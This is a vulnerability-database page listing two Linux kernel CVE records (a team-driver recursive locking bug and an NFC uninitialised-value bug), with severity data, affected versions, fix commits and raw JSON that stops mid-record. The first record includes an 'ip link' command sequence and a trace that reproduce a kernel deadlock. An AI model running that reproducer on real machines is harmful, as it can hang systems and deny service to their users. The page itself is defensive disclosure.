CVE-2024-58071 (GCVE-0-2024-58071)

Vulnerability from cvelistv5 – Published: 2025-03-06 15:54 – Updated: 2026-05-12 12:02

Title

team: prevent adding a device which is already a team device lower

Summary

In the Linux kernel, the following vulnerability has been resolved: team: prevent adding a device which is already a team device lower Prevent adding a device which is already a team device lower, e.g. adding veth0 if vlan1 was already added and veth0 is a lower of vlan1. This is not useful in practice and can lead to recursive locking: $ ip link add veth0 type veth peer name veth1 $ ip link set veth0 up $ ip link set veth1 up $ ip link add link veth0 name veth0.1 type vlan protocol 802.1Q id 1 $ ip link add team0 type team $ ip link set veth0.1 down $ ip link set veth0.1 master team0 team0: Port device veth0.1 added $ ip link set veth0 down $ ip link set veth0 master team0 ============================================ WARNING: possible recursive locking detected 6.13.0-rc2-virtme-00441-ga14a429069bb #46 Not tainted -------------------------------------------- ip/7684 is trying to acquire lock: ffff888016848e00 (team->team_lock_key){+.+.}-{4:4}, at: team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) but task is already holding lock: ffff888016848e00 (team->team_lock_key){+.+.}-{4:4}, at: team_add_slave (drivers/net/team/team_core.c:1147 drivers/net/team/team_core.c:1977) other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(team->team_lock_key); lock(team->team_lock_key); *** DEADLOCK *** May be due to missing lock nesting notation 2 locks held by ip/7684: stack backtrace: CPU: 3 UID: 0 PID: 7684 Comm: ip Not tainted 6.13.0-rc2-virtme-00441-ga14a429069bb #46 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: <TASK> dump_stack_lvl (lib/dump_stack.c:122) print_deadlock_bug.cold (kernel/locking/lockdep.c:3040) __lock_acquire (kernel/locking/lockdep.c:3893 kernel/locking/lockdep.c:5226) ? netlink_broadcast_filtered (net/netlink/af_netlink.c:1548) lock_acquire.part.0 (kernel/locking/lockdep.c:467 kernel/locking/lockdep.c:5851) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) ? trace_lock_acquire (./include/trace/events/lock.h:24 (discriminator 2)) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) ? lock_acquire (kernel/locking/lockdep.c:5822) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) __mutex_lock (kernel/locking/mutex.c:587 kernel/locking/mutex.c:735) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) ? fib_sync_up (net/ipv4/fib_semantics.c:2167) ? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973) notifier_call_chain (kernel/notifier.c:85) call_netdevice_notifiers_info (net/core/dev.c:1996) __dev_notify_flags (net/core/dev.c:8993) ? __dev_change_flags (net/core/dev.c:8975) dev_change_flags (net/core/dev.c:9027) vlan_device_event (net/8021q/vlan.c:85 net/8021q/vlan.c:470) ? br_device_event (net/bridge/br.c:143) notifier_call_chain (kernel/notifier.c:85) call_netdevice_notifiers_info (net/core/dev.c:1996) dev_open (net/core/dev.c:1519 net/core/dev.c:1505) team_add_slave (drivers/net/team/team_core.c:1219 drivers/net/team/team_core.c:1977) ? __pfx_team_add_slave (drivers/net/team/team_core.c:1972) do_set_master (net/core/rtnetlink.c:2917) do_setlink.isra.0 (net/core/rtnetlink.c:3117)

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-667 - Improper Locking

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/0a7794b9ca78c8e7d…
https://git.kernel.org/stable/c/62ff1615815d56544…
https://git.kernel.org/stable/c/bd099a2fa9be983ba…
https://git.kernel.org/stable/c/adff6ac889e16d97a…
https://git.kernel.org/stable/c/184a564e6000b4158…
https://git.kernel.org/stable/c/1bb06f919fa5bec77…
https://git.kernel.org/stable/c/d9bce1310c0e2a558…
https://git.kernel.org/stable/c/3fff5da4ca2164bb4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 0a7794b9ca78c8e7d001c583bf05736169de3f20 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 62ff1615815d565448c37cb8a7a2a076492ec471 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < bd099a2fa9be983ba0e90a57a59484fe9d520ba8 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < adff6ac889e16d97abd1e4543f533221127e978a (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 184a564e6000b41582f160a5be9a9b5aabe22ac1 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 1bb06f919fa5bec77ad9b6002525c3dcc5c1fd6c (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < d9bce1310c0e2a55888e3e08c9f69d8377b3a377 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 3fff5da4ca2164bb4d0f1e6cd33f6eb8a0e73e50 (git)
Linux	Linux	Affected: 3.3 Unaffected: 0 , < 3.3 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-58071",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:27:30.256642Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-667",
                "description": "CWE-667 Improper Locking",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:36:36.410Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:34:05.983Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:04.348Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/team/team_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0a7794b9ca78c8e7d001c583bf05736169de3f20",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "62ff1615815d565448c37cb8a7a2a076492ec471",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "bd099a2fa9be983ba0e90a57a59484fe9d520ba8",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "adff6ac889e16d97abd1e4543f533221127e978a",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "184a564e6000b41582f160a5be9a9b5aabe22ac1",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "1bb06f919fa5bec77ad9b6002525c3dcc5c1fd6c",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "d9bce1310c0e2a55888e3e08c9f69d8377b3a377",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "3fff5da4ca2164bb4d0f1e6cd33f6eb8a0e73e50",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/team/team_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.3"
            },
            {
              "lessThan": "3.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nteam: prevent adding a device which is already a team device lower\n\nPrevent adding a device which is already a team device lower,\ne.g. adding veth0 if vlan1 was already added and veth0 is a lower of\nvlan1.\n\nThis is not useful in practice and can lead to recursive locking:\n\n$ ip link add veth0 type veth peer name veth1\n$ ip link set veth0 up\n$ ip link set veth1 up\n$ ip link add link veth0 name veth0.1 type vlan protocol 802.1Q id 1\n$ ip link add team0 type team\n$ ip link set veth0.1 down\n$ ip link set veth0.1 master team0\nteam0: Port device veth0.1 added\n$ ip link set veth0 down\n$ ip link set veth0 master team0\n\n============================================\nWARNING: possible recursive locking detected\n6.13.0-rc2-virtme-00441-ga14a429069bb #46 Not tainted\n--------------------------------------------\nip/7684 is trying to acquire lock:\nffff888016848e00 (team-\u003eteam_lock_key){+.+.}-{4:4}, at: team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n\nbut task is already holding lock:\nffff888016848e00 (team-\u003eteam_lock_key){+.+.}-{4:4}, at: team_add_slave (drivers/net/team/team_core.c:1147 drivers/net/team/team_core.c:1977)\n\nother info that might help us debug this:\nPossible unsafe locking scenario:\n\nCPU0\n----\nlock(team-\u003eteam_lock_key);\nlock(team-\u003eteam_lock_key);\n\n*** DEADLOCK ***\n\nMay be due to missing lock nesting notation\n\n2 locks held by ip/7684:\n\nstack backtrace:\nCPU: 3 UID: 0 PID: 7684 Comm: ip Not tainted 6.13.0-rc2-virtme-00441-ga14a429069bb #46\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nCall Trace:\n\u003cTASK\u003e\ndump_stack_lvl (lib/dump_stack.c:122)\nprint_deadlock_bug.cold (kernel/locking/lockdep.c:3040)\n__lock_acquire (kernel/locking/lockdep.c:3893 kernel/locking/lockdep.c:5226)\n? netlink_broadcast_filtered (net/netlink/af_netlink.c:1548)\nlock_acquire.part.0 (kernel/locking/lockdep.c:467 kernel/locking/lockdep.c:5851)\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n? trace_lock_acquire (./include/trace/events/lock.h:24 (discriminator 2))\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n? lock_acquire (kernel/locking/lockdep.c:5822)\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n__mutex_lock (kernel/locking/mutex.c:587 kernel/locking/mutex.c:735)\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\n? fib_sync_up (net/ipv4/fib_semantics.c:2167)\n? team_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\nteam_device_event (drivers/net/team/team_core.c:2928 drivers/net/team/team_core.c:2951 drivers/net/team/team_core.c:2973)\nnotifier_call_chain (kernel/notifier.c:85)\ncall_netdevice_notifiers_info (net/core/dev.c:1996)\n__dev_notify_flags (net/core/dev.c:8993)\n? __dev_change_flags (net/core/dev.c:8975)\ndev_change_flags (net/core/dev.c:9027)\nvlan_device_event (net/8021q/vlan.c:85 net/8021q/vlan.c:470)\n? br_device_event (net/bridge/br.c:143)\nnotifier_call_chain (kernel/notifier.c:85)\ncall_netdevice_notifiers_info (net/core/dev.c:1996)\ndev_open (net/core/dev.c:1519 net/core/dev.c:1505)\nteam_add_slave (drivers/net/team/team_core.c:1219 drivers/net/team/team_core.c:1977)\n? __pfx_team_add_slave (drivers/net/team/team_core.c:1972)\ndo_set_master (net/core/rtnetlink.c:2917)\ndo_setlink.isra.0 (net/core/rtnetlink.c:3117)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:43.745Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0a7794b9ca78c8e7d001c583bf05736169de3f20"
        },
        {
          "url": "https://git.kernel.org/stable/c/62ff1615815d565448c37cb8a7a2a076492ec471"
        },
        {
          "url": "https://git.kernel.org/stable/c/bd099a2fa9be983ba0e90a57a59484fe9d520ba8"
        },
        {
          "url": "https://git.kernel.org/stable/c/adff6ac889e16d97abd1e4543f533221127e978a"
        },
        {
          "url": "https://git.kernel.org/stable/c/184a564e6000b41582f160a5be9a9b5aabe22ac1"
        },
        {
          "url": "https://git.kernel.org/stable/c/1bb06f919fa5bec77ad9b6002525c3dcc5c1fd6c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d9bce1310c0e2a55888e3e08c9f69d8377b3a377"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fff5da4ca2164bb4d0f1e6cd33f6eb8a0e73e50"
        }
      ],
      "title": "team: prevent adding a device which is already a team device lower",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58071",
    "datePublished": "2025-03-06T15:54:10.950Z",
    "dateReserved": "2025-03-06T15:52:09.182Z",
    "dateUpdated": "2026-05-12T12:02:04.348Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35915 (GCVE-0-2024-35915)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:35 – Updated: 2026-05-12 11:52

Title

nfc: nci: Fix uninit-value in nci_dev_up and nci_ntf_packet

Summary

In the Linux kernel, the following vulnerability has been resolved: nfc: nci: Fix uninit-value in nci_dev_up and nci_ntf_packet syzbot reported the following uninit-value access issue [1][2]: nci_rx_work() parses and processes received packet. When the payload length is zero, each message type handler reads uninitialized payload and KMSAN detects this issue. The receipt of a packet with a zero-size payload is considered unexpected, and therefore, such packets should be silently discarded. This patch resolved this issue by checking payload size before calling each message type handler codes.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/11387b2effbb55f58…
https://git.kernel.org/stable/c/03fe259649a551d33…
https://git.kernel.org/stable/c/755e53bbc61bc1aff…
https://git.kernel.org/stable/c/ac68d9fa09e410fa3…
https://git.kernel.org/stable/c/b51ec7fc9f877ef86…
https://git.kernel.org/stable/c/a946ebee45b09294c…
https://git.kernel.org/stable/c/8948e30de81faee87…
https://git.kernel.org/stable/c/d24b03535e5eb82e0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < 11387b2effbb55f58dc2111ef4b4b896f2756240 (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < 03fe259649a551d336a7f20919b641ea100e3fff (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < 755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < ac68d9fa09e410fa3ed20fb721d56aa558695e16 (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7 (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < a946ebee45b09294c8b0b0e77410b763c4d2817a (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < 8948e30de81faee87eeee01ef42a1f6008f5a83a (git) Affected: 6a2968aaf50c7a22fced77a5e24aa636281efca8 , < d24b03535e5eb82e025219c2f632b485409c898f (git)
Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35915",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T17:12:44.324505Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:39.499Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.232Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/11387b2effbb55f58dc2111ef4b4b896f2756240"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03fe259649a551d336a7f20919b641ea100e3fff"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac68d9fa09e410fa3ed20fb721d56aa558695e16"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a946ebee45b09294c8b0b0e77410b763c4d2817a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8948e30de81faee87eeee01ef42a1f6008f5a83a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d24b03535e5eb82e025219c2f632b485409c898f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:46.691Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "11387b2effbb55f58dc2111ef4b4b896f2756240",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "03fe259649a551d336a7f20919b641ea100e3fff",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "ac68d9fa09e410fa3ed20fb721d56aa558695e16",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "a946ebee45b09294c8b0b0e77410b763c4d2817a",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "8948e30de81faee87eeee01ef42a1f6008f5a83a",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            },
            {
              "lessThan": "d24b03535e5eb82e025219c2f632b485409c898f",
              "status": "affected",
              "version": "6a2968aaf50c7a22fced77a5e24aa636281efca8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
